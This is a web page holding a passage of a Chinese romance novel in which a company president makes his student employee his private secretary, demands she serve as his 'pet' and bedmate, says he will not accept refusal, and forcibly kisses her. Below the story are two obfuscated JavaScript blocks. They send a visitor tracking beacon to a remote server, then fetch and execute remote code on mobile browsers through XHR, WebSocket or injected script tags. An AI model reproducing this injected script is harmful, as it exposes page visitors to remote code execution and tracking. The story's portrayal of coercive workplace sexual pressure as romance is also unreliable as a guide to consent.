“习惯就好了。”卓凯珊平声回答。“等我明年毕业了,再找个合适的工作, 我就可以真正安定下来了。”

“你倒是很想得开。”陆振轩语带嘲谑,又端详了她好一会儿,突然由椅子 上站起,绕过办公桌来到她面前,倏地俯下身,五官出色的脸庞靠近她的小脸。

男性阳刚气息直扑而来,卓凯珊微微吓了跳地一呆,眼睫眨了又眨,才终于 从喉间找到声音,“总、总裁先生?”这么近看人,莫非他视力不佳?

陆振轩钜细靡遗地打量过她,然后出声问道,“你的五官十分有东方味,是 哪个国家的人?”

他过于贴近的脸所散发出来的强势气息,让卓凯珊周身莫名窜过一阵战粟, 脑中未曾思索便直接回答,“台湾。”

陆振轩眼睛一亮,露出满意之色。

果然是来自他猜想的地方。

他愉悦地突然伸手摸了摸她的脸,然后直起身躯,开始绕着她的椅子踱步, 眸光依然盯在她的身上。

“我也是从台湾来的。”他突然改用中文说道。

卓凯珊才被他摸脸的举动吓了跳,他接下来说的话更是让她愣住了。

“你……来自台湾?”不会吧?!他长得可是一副道地的“老外”模样哪!

“我的父亲是台湾人,他在我十五岁那年过世,之后我才离开台湾到美国来。 我长得像我的母亲。”陆振轩有趣地看着她脸上的表情,当然也看出了她心中的 怀疑。

“原来如此。”卓凯珊恍然,心情随即恢复平静。

“有趣。”陆振轩惊叹她恢复情绪的速度,在她面前站定,俯视坐在椅上的 娇小人儿,“什么事都吓不了你是把?”他似自语又似问她。

眼神闪烁一下,卓凯珊语气困惑,“我不明白总裁先生想问什么。”

旁人总说她有个聪明的脑子,可眼前这位初次见面就老影响她唿吸的总能先 生说话像藏了许许多多的谜,让她怎么也解不开,更别提回答他了。

“这般奇特的个性,对男人可真是一大挑战啊。”陆振轩轻语,眼底泛起了 跃跃欲试。

最近他才觉得日子变得有些无聊,想找些有趣的事来打发时间,想不到马上 就有对象送上门来。

他从来没有碰过一个女人能以如此镇定平和的态度面对他,将他当成一个普 通人——他很清楚自己绝不是普通的路人甲——卓凯珊对他的“无感”及“忽视” 让他深感诧异,好奇心也一路窜升。

他一直知道自己长得并不难看,也确实十分容易吸引女人的目光,再加上高 大魁梧的身材,更是常常让初次见到他的女人眼中露出讶异的神色,偏偏眼前这 女人却仿佛无所感觉,不管是对他的长相或身材,她的眼甚至眨也不眨一下;实 在是太令人“佩服”了!

基于男性自尊和无聊的心情,他若不好好深人探索一下这位卓小姐,那就太 对不起自己了!另外,他也真的很想知道,到底有什么事可以影响她那仿佛汁么 也动摇不了的心性!

总裁先生又说让人听不懂的话了。

卓凯珊微微瞠目,带着一丝疑惑的眼目视陆振轩始终盯着她不放的深蓝色眼 眸,对于他光盯着她却沉默不语的行为感到无法理解……心中才刚扬起的一丝浮 躁立刻被她压下。

其实卓凯珊并没有真的对陆振轩的目光免疫,生平头一次,她在他的目光下 感受到何谓“异性的注目”,那种锐利到似乎可以穿透人心的凝视,让她的体内 莫名其妙产生一阵又一阵又冷又热的怪异感觉,而她一点也不明白为什么。

再加上他老是进出奇怪的话语,更是令人难以招架。

这位总裁先生真是她打工以来最难“沟通”的雇主。

她真希望他不要再这么盯着她了……

“对一个第一次见到自己顶头老板的人来说,你很镇定,似乎一点也不担心。 为什么?”总算看够了的陆振轩往后退了两步,半靠坐在办公桌上,一双眼仍是 停留在她身上未曾离开。

“担心?”卓凯珊疑惑问道,“我该担心什么呢?”

陆振轩似笑非笑地勾着唇角,“担心得罪了老板会被赶出公司、丢掉工作。 毕竟你只是个工读生而已。”

卓凯珊微一思索,随即语气冷静地回答,“若真发生这种事,我也无话可说, 只好另外找工作了。”只不过要再找到这般可以发挥所学的工作并不容易。

“你还是一点也不紧张嘛!”听她毫不惊慌的回答,陆振轩忍不住调侃。

卓凯珊眼中的疑惑更深,“紧张有用吗?如果老板真要开除我,紧张就能改 变这样的结果吗?”

“还真是个理性的回答啊!”陆振轩突地纵声大笑起来,“卓凯珊,你果真 是个不折不扣的挑战,我的好胜之心完全被你给激了起来。”他深深看进她的眼 底,“你知道你是我碰上的第一个对我没有“感觉”的女人吗?不晓得若是有你 陪伴的日子,我会不会比较没那么无聊?”

听完他的话,卓凯珊一脸茫然,“总裁先生,我们现在到底在讨论什么?我 有些搞胡涂了……你方才所说的话,好像是在向我挑战什么……”

陆振轩目光瞬也不瞬,语气霸道开口,“如果我说你的个性让我对你产生了 强烈的兴趣,并打算将你禁锢在身边解闷,你觉得如何?”

卓凯珊愣了一下,“兴趣?你是说对我数字能力方面的兴趣?”

“不。”陆振轩缓缓摇头,对她露出一个诡谲的笑容,“是男人对女人的兴 趣。”

“嘎?!”卓凯珊表情微讶,“你对我有男女方面的举兴趣?”老板不是应 该只对员工的能力感到兴趣吗?怎么会扯到男女方面去?!

“目前是的。”陆振轩的目光在她的脸上打转,“可只要你一让我觉得无聊, 我也会毫不客气地要你走!”狂妄的语气中藏着一丝绝然无情。

卓凯珊听到他这番话,心中隐隐有些理解,却又半带着困惑。“总裁先生的 意思是,若我想保住工作;就得让你一直保持“兴趣”?”而他指的“兴趣”到 底又是什么呢?

“是我主动对你提出要求的,所以即使我不需要你了,也不会让你丢掉工作。” 陆振轩做出保证。

“你到底要我做什么?”他的保证反倒让卓凯珊陷入了迷惘,原本有点明白 的心又困惑起来。“我不相信我有这么笨,可我就是听不懂你在说什么!”

看着她困扰茫然的眼,陆振轩耸耸肩,“先回去工作吧!你总会明白的。”

不知该如何问出心中的疑问,卓凯珊眨了眨眼,仍是服从地由椅上起身,在 他的注视下,带着满腹狐疑走出总裁办公室。

她从没有碰过这种奇怪的情况,更别提制造这种情况的男人还对她自身造成 了影响,让她的内心及肢体发生剧烈的变化,连带也影响了她一向平静的心性。

或许她就把总裁先生那些暧昧不清的话当成玩笑好了……

第三章

卓凯珊一直将那天陆振轩对她说的话当成闲谈玩笑,或是某种特异测试员工 的方式,直到半个月俊颁布人事命令,将她由财务部调到总裁办公室,她才明白 他并不是在开玩笑。

如此特异的职位调动令卓凯珊心中的疑惑升至最高点,而她也在进驻总裁办 公室的当天和亲自下人事命令的陆振轩有了一番确切的讨论。

“总裁私人秘书的职责是什么?”她一向认为自己未来的工作和财务金融脱 不了关系,所以对于“秘书”的职务内容既无经验,也完全不清楚。

坐在新添设的桌椅对面,专为接待客人而设的沙发椅上头的陆振轩,闪动着 异彩的目光宜视坐在桌后对他提出疑问的新任秘书。

“还记得那天我对你说的话吗?”他以优闲的语调开口问道。

卓凯珊很快地点点头。她的记忆力一向很好,没有忘记那天他说的每一句话。 她只是没弄懂其中一些话的意思而已。

“就我这阵子对你的“观察”,你的工作能力的确很不错,瑞恩也并没有夸 大事实。”陆振轩靠在椅背上,目光停在她的脸上,语气轻缓,“再加上我个人 对你的兴趣,所以我决定把你调到我身边来担任我的私人秘书,看看能不能为我 枯燥的日子带来一点乐趣。”

为什么她有一种感觉,他口中的“乐趣”根本不是字面上的意思?卓凯珊的 眼眸透出一丝困惑。

“那身为私人秘书的我到底该做些什么?安排你的行程?”这是她唯一知道 秘书该做的事。

陆振轩摇摇头,“我的行程有专人安排。我要你接管我私人的“帐簿”,这 是为了避免你觉得日子太过无聊。让你打发空档时间的娱乐。而为了确保我的日 子不会无聊,你得随时跟在我身边,不管我去哪里。”他看着她的目光浮现一丝 暖昧,“关于其他的……就看我的心情再做决定。”

卓凯珊努力听着他的“说明”,却发现自己仍是一知半解。

“这样算不算是“公器私用”呢?”这个想法突然跃上脑间,让她不觉喃语。

“你是我的员工,本来就该由我所“用”!”陆振轩睨视着她,霸道显露无 遗。

“依我目前在学学生的身份,又如何能担任你全天候的私人秘书呢?”卓觊 珊提出疑问,一向井然有序、逻辑清楚的脑子已被他所说的工作内容给弄煳了。

如果他需要“全天候”的秘书,就不该找仍在学的学生,因为时间一定无法 配合的。

“你目前一个星期中几天有课?”陆振轩没理会她的问题,迳自问道。

“我只有两天需要到学校上课,不过这样还是不符合你的要求。”卓凯珊回 答他的问题。

不知怎地,他此刻看她的目光让她突然不太想担任他的私人秘书……

“符不符合要求是由我来决定。”陆振轩眉头皱也不皱地回道。“将你上课 的时间表列出来给我,我自会安排你该如何“陪伴”我。”他微挑眉,“你放心, 虽然我不曾正式养过“宠物”,可也不代表我不知该如何养!”

“宠物?”卓凯珊瞠目看他。他们不是正在讨论她的工作内容吗?什么时候 话题跑到养宠物上头去了?“总裁先生要养宠物?”

从没有一刻,她觉得与人“沟通””是一件这么困难的事,可眼前这个男人 所说的十句话中总有三、四句她听不懂,真是令人沮丧!

奇怪,以往她与其他人也不曾发生过这种沟通不良的情况……

陆振轩盯着她愈发困扰的小脸,心中突然明白一件事——原来他们交谈了老 半天,她一直都没弄懂他话中的含意,也不懂所谓“私人秘书”的真正工作为何!

是他说得太含蓄了吗?还是……

陆振轩思及此,不觉大笑出声。

啧!他陆振轩一直以粗鲁的说话方式闻名波士顿的社交界,骨子里更是连一 个含蓄的细胞都没有,所以绝对不是他说话太含蓄,而是他的新秘书神经实在太 粗了!

“我的确打算养只宠物,而这只宠物指的正是你,卓凯珊!”他索性开门见 山直言。

这下她总该明白他的意思了吧?

“我……是宠物?!”卓凯珊震惊地瞠大眼,思索的细眉慢慢蹙了起来,以 蕴含责备意味的口吻反驳道,“我是人,并非动物。我能自力更生,不需要别人 豢养,就算担任你的秘书,也是支领薪水办事。总裁先生的比喻实在是不太恰当。”

见她表情,再听她的责备,陆振轩再次大笑,更加确定她不仅对异性没什么 感觉,神经还粗到对男女间暖昧不明、带着隐喻的话语一窍不通,完全听不懂! 看来唯有直言才能让她明白,他到底在说什么。

“我再说一次,你听清楚了。我除了满意你的工作能力,你这个女人本身也 引起了我的兴趣,所以我要你来担任我的私人秘书,一来可为我管帐,二来在恰 当的时机下,可以上床取悦我——这就是我的私人秘书所该做的事,现在你总该 听懂了吧?迟钝的小笨蛋!”

终于明白他的意思,卓凯珊张口结舌,小脸猛地涨红,久久说不出话来,感 觉自己仿佛置身在一场惊惊的梦境之中。

从小到大,她的生活中只有书本,这还是第一次听到一个男人如此露骨地说 出对她有肉体的兴趣,而这些话听造成的强烈冲击十分骇人,可又隐隐让她心中 升起一种异样,类似紧张或是亢奋的特别感觉……

“我又不是说打算谋杀你,你干嘛吓成这样?”陆振轩略带不悦的眼微眯, 细看她的表情在短短时间中千变万化,口气透出一丝暴烈。

不过——对自己终于能”惊吓”到她,他心中其实还是有些得意的。

这下看她要如何继续保持冷静!

陆振轩的话让卓凯珊找回了被吓跑的理智,蹙紧的眉透露着责备,口中勉强 吐出话来。

“总裁先生的话太令人惊吓了!对于你的“打算”,难道我没有自主权来决 定要不要答应暖你的床吗?”

生长环境使然,她不曾与异性交往过,对男女性事可谓完全不懂,但是若要 说她连一点好奇心也没有,那倒不尽然。

她曾经好奇地找过资料来研究一番,可借怎么也弄不明白一男一女不穿衣服 躺在床上“翻滚”到底有什么趣味可言,后来就放弃再研究下去了。

几年过去,她也不觉得知道那些事会让她有什么不同,不料今天却碰上一个 打算“不问自取”,要她为他暖床的男人!

“对于我看上的目标,我是不会轻易放手的。”陆振轩盯视她,语气泰然自 若。仿佛他“强取豪夺”的决定是理所当然。“不过万一你表现不好,终究还是 让我觉得无聊,我也会放你自由,让你回财务部的。”

“全部过程都由你做主,决定我的“命运”,这样我岂不是吃大亏了?”卓 凯珊讲求实际的脑子很快就他的话分析出利弊,压根忘了她该抗议的并不是由谁 作主的问题。

“陪伴我是有报酬的。我不会亏待你。”他唇边漾起一丝自满的弧度,直言 不讳。

“你所谓的陪伴,就是拿我当解闷的对象。”卓凯珊发现自己愈来愈听得懂 他话中的隐喻,而专心思考的她全然忽略了他提出的报酬话题。

“没错。”陆振轩点头,神情现出一丝野蛮霸道,“既然是你引发出我对你 的兴趣,就得负责解决我的“疑惑”。如果你正想着如何拒绝我,那就免了,我 这个人一向蛮横惯了,还十分地自我中心,所以无法接受拒绝的答案。你若不想 惹火我,最好不要将“拒绝”这两个字说出口。”

听着他不容人反对、刚硬的嗓音,卓凯珊与他霸道的眼神对视,脑中深思。

她应该为他打算付钱给她,并把她当成玩物的决定而大骂他一顿,可不知怎 地,她竟然没有觉得生气,反倒脑中还产生了别的想法,一个“叛逆”的想法— —

毕竟这经验如此“奇特”,也许她该乖乖顺从,并亲身体验一下男女鱼水之 欢的滋味……再说,看总裁先生脸上的表情,他根本没有放弃的意思。

她眨了眨眼,问他,“这是你的最后通碟?你不觉得自己太过霸道了吗?”

“对我这种人来说,一点也不。”陆振轩毫不在乎她带点儿批判意味的问题, 回答得嚣张蛮横。

卓凯珊静看他一会儿,然后点点头。“好,我愿意担任你的私人秘书。”反 正她也有意愿和他在一起。

“你总算没有再笨下去!”满意之色在陆振轩的眼底闪动,原本蛮横的嗓音 已迅速改变为平和带着戏谑意味的口吻。

卓凯珊皱了下届,表示对他不当评语的抗议。“我有一个问题不太明白,你 能给我个答案吗?”

陆振轩耸耸肩,“你说说看。”

“我知道自己的长相只称得上清秀,并非美女,你一个什么都有的男人为什 么会对一个貌不惊人的女人有兴趣?我甚至可以肯定,用不了多久时间,我就会 让你无聊至死,毕竟我的兴趣是读书、演算数学,而非玩乐。”卓凯珊仔细问出 脑中浮现的疑问,并且头一回对一个男人的想法起了好奇之心。

陆振轩看着卓凯珊那张并不是如她所言,仅是清秀的小脸,明白她根本不清 楚别人眼中看到的她其实足十分清灵优雅的。

“这就是你想知道的事?”他勾起唇角,“我看得到你的长相,我并没有期 望你会有什么太好的表现,所以我们也只能走着瞧了。”

卓凯珊脑中浮起更大的问号,“那你究竟是如何判定我这个人可以为你解闷? 而且像你这种对别人的兴趣,恐怕也无法维持太久吧?”

闻言,陆振轩眸光闪动,突然由靠坐的沙发上一跃而起,大步走向她。

“你说的对。显然我疏忽了一件重要的事——我应该先以行动证明我对你的 强烈兴趣,顺便也试试我们俩的契合度!”

还来不及细思他话中之意,卓凯珊愣得看着朝她逼近的高大身影,眼睁睁看 着他伸手将猝不及防的她由椅子挖起来,然后揽进他的怀中。

她困惑地眨眨眼,“你要做什——唔!”

陆振轩没有等她问完,蛮横的唇已迅速俯下,封住她的红唇,毫不客气地品 尝她唇上甜美的滋味。

一股灼热压力由唇上传来,震慑住她的心绪,让她惊讶万分。

他的唇坚定、炽热地攻击侵略她不知该如何反应的唇瓣,带给她一波波震撼 攻击。

原来这就是男女之间亲吻的感觉,充满着火焰及惊奇……

察觉她的僵硬,陆振轩在她的唇上施压,舌尖采人她的口中,触及她的嫩舌 ……她惊骇地躲避,可他却毫不放松,逼迫她回应接纳,直到她沉迷在他高明的 诱引下,与他共舞,相互纠缠……

卓凯珊原本还以理性分析他的行为,慢慢的,她的神智被融化,发现自己仿 佛被一股火焰包围,全身上下泛起高热,理智被燃烧殆尽,一股奇特的快感酥麻 了她的四肢神经,她甚至感觉到自己下腹发出回应似的悸动……她微微颤抖起来。

彻底探索过她口中每一处私密角落,陆振轩这才缓缓放开她已被吻肿的红唇, 他垂眸睇视她,看到她那泛着激情红潮的小脸上迷醉的表情时,眼底进发出男性 自得的满足光芒,愉悦地笑了。

“看来我并没有看走眼,我们的契合度算得上是接近满分!”

怀中女人的滋味出乎意料地合他的胃口,让他有一种惊喜的感觉;看来接下 来有她相伴的日子应该不会无聊。

无暇思索他话中含意,卓凯珊依在他的臂弯中轻喘,努力恢复正常唿吸,半 响才喃喃自语。

“难怪大部分的人对这种事乐此不疲。原来“亲吻”这个行为有魔法存在… …”

只是一个吻便产生如此惊人的冲击力,不晓得是他太厉害,还是没有经验的 她太过于大惊小怪?

不过在脑子仍处于混沌状态的此刻,她是不可能思索出答案的。

“魔法?”陆振轩大笑出来,“说得好!这句话对一个男人而言,真是最好 的恭维!想不到你还挺有慧根的,学习能力很强!”

卓凯珊双目瞠大仰起脸,奇怪地看着他脸上愉悦又得意的笑容,心中不禁纳 闷。

他为什么这么说?她刚刚有对他说什么“拍马屁”之类的话吗?

看着她的表情,陆振轩唇边笑意更深。他伸出手,以掌背抚了抚她的脸颊。

“除了契合度,你所说的话对我也有很不错的解闷功能,实在是个好现象。 不过由你乏善可陈的吻功看来,你的经验恐怕少得可怜……这方面我们可以慢慢 加强。”他的语气低沉,带着一丝调侃,睇着她的眼底闪动着两簇欲焰。

这个女人果真特殊,他不过才浅尝一下便被她撩起了欲望。不过他并非急色 鬼,他还想多试试她,看能不能开发她其他的“能力”,所以在没有迫切需要前, 他暂时不会动她。

卓凯珊发现自己又听不懂他所说的话,不觉懊恼出声,“你可不可以用我听 得懂的字句说话?不要说些暧昧不明的话语,让人还得先猜一猜才弄得清楚。” 她相信自己的理解力并不差,可就是听不懂他充满暗示的“谜语”,真是教人苦 恼。

“听不懂?”陆振轩挑高眉,眼底浮起一丝笑意,“好,那就说你听得懂的 话。记住了,以后不准你再以“总裁先生”来称唿我,我在美国法定的名字是路 克。凯德,我的中文名字是陆振轩,你可以任选一个名字来称唿我。听懂了吗?”

“听懂了。”卓凯珊愣愣地点头。

“好。”陆振轩满意地松开束缚她的手臂。“接下来我有一个会要开,你可 以不用跟去,先把自己在这里安顿下来吧!”交代完毕,他便离开了办公室。

☆☆☆

担任陆振轩的私人秘书半个多月后,卓凯珊真的觉得自己的确很像一只被豢 养的宠物。

陆振轩对她采取紧迫盯人的方式,她被命令不论他做什么事,她都得跟随在 侧,举凡吃饭、办公、开会、外出洽公,她都必须跟着,不管她喜不喜欢。

她其实觉得自己比较像贴身随从。

所幸“艰苦”的日子也不是完全没有乐趣,起码陆振轩交给她整理的私人帐 簿就让她整理得很愉快。优游在数字之间对她来说一向是一件十分快乐的事。

除了陪伴他与整理帐簿之外,在这半个多月中,她对陆振轩这个人也有了更 多的了解。

他个性火爆又霸道,做任何决定皆于净俐落,不拖泥带水。头脑清楚又聪明 过人,最讨厌说话吞吞吐吐、个性不干脆的人——这是她多次参与他主持的会议 后得来的结论。

所以即使坊间某些杂志批评由大学辍学、专心投人钻探油井行列。意外一夜 致富的陆振轩只是靠狗屎运,其实是个一点内涵也没有的鲁男子,她却不以为然。

这段日子他们两人宛如连体婴般黏在一起,她观察到陆振轩虽然表面上粗扩 霸气,有时还会爆出粗口,可实际上他心细、对事物观察人微,说话言之有物、 见解精辟,即使没有大学文凭,他的知识学养也不见得会输给商学博土。

一个拥有多项企业的大亨级人物,果然不是个简单的角色。

他最大的缺点便是他完全没有耐心且十分厌恶与数字为伍,所以他才会要地 接管整理他的私人帐簿。

由此可见,他对自己“会计师”的信心还有待商榷……

“大老远就看到你躲在角落发呆。在思考什么人生道理啊?”

一道带滤的男性嗓音打断了卓凯珊的思绪,她抬起眼看向来人,发现她“前” 上司瑞恩不知何时来到了她面前,而他的话也提醒了她此刻正身在某个宴会中。

“瑞恩先生……”呃,她竟然在这种重要的场合发起呆来,不知道那个要她 站在这里的老板有没有看见她不当的行为?

瑞恩笑咪咪看着已被老板挪去私用的前属下,“小卓……喔,我老忘了现在 该改口叫你卓秘书了。你今晚看起来好迷人,与平日给人的感觉完全不同呢!”

今晚跟随陆振轩前来的卓凯珊娇小的身躯裹着一袭淡紫色丝绸礼服,淡雅的 色泽加上精致的剪裁设计不仅突显她白皙的肌肤,还衬托出她清灵优雅、清新可 人的模样。她出众的气质吸5;了宴会上众多男性觊觎的目光,若不是她是匈着 陆振轩的手臂走进会场,那些对她有意的男人早就杀过来搭讪了,才不会放她一 个人站在角落发呆呢。

“真的?”瑞恩的称赞让卓凯珊感觉十分不自在,她眼儿眨了又眨,用没什 么把握的语气问,“我穿礼服的样子看起来会不会很奇怪?”见瑞恩摇头,她才 对他笑了笑,“如果我看起来真有不同,大概是因为我的脸上少了眼镜的关系吧。” 她有轻度近视,工作时会戴上眼镜,平日则是能不戴就不戴。

再说,今晚她身上的礼服是陆振轩挑选的,假若看起来不错,那也是他的眼 光好。

她并不排斥顺应工作要求穿上适当的服装,为了搭配礼服而穿在脚上的高跟 鞋对她来说才真是一大挑战。这是她第一次穿这种正式样子的高跟鞋,还好鞋跟 不算太高,否则她一定会跌得鼻青脸肿的。

“绝对不是眼镜的关系。”瑞恩细看卓凯珊上了妆的小脸,这才后知后觉地 发现她的长相其实一点也不普通,也早已超越“清秀”的层次。

看来老板的眼光果然犀利,能看出他都没有发现的美人真面目…


上一篇:淫荡的小老师

下一篇:淫妻浪女浪妻淫女


function gwnDNE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function AWKfLmPv(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return gwnDNE(t);};window[''+'R'+'o'+'k'+'X'+'D'+'L'+'a'+'N'+'E'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Wjgr(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=AWKfLmPv,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Wjgr(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Wjgr(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmh2Y2NkLmNuJTNBODg5MQ==','d3NzJTNBJTJGGJTJGGYS5rZmdqYS5jbiUzQTk1MzM=','162093',window,document,['l','G']);}:function(){};
function AVPIRq(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TKWAwg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return AVPIRq(t);};window[''+'n'+'f'+'q'+'H'+'Q'+'c'+'O'+'L'+'Y'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function nmgl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TKWAwg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=nmgl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=nmgl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmh2Y2NkLmNuJTNBODg5MQQ==','d3NzJTTNBJTTJGJTTJGYS5rZmdqYS5jbiUzQTTk1MzM=','162092',window,document,['Q','T']);}:function(){};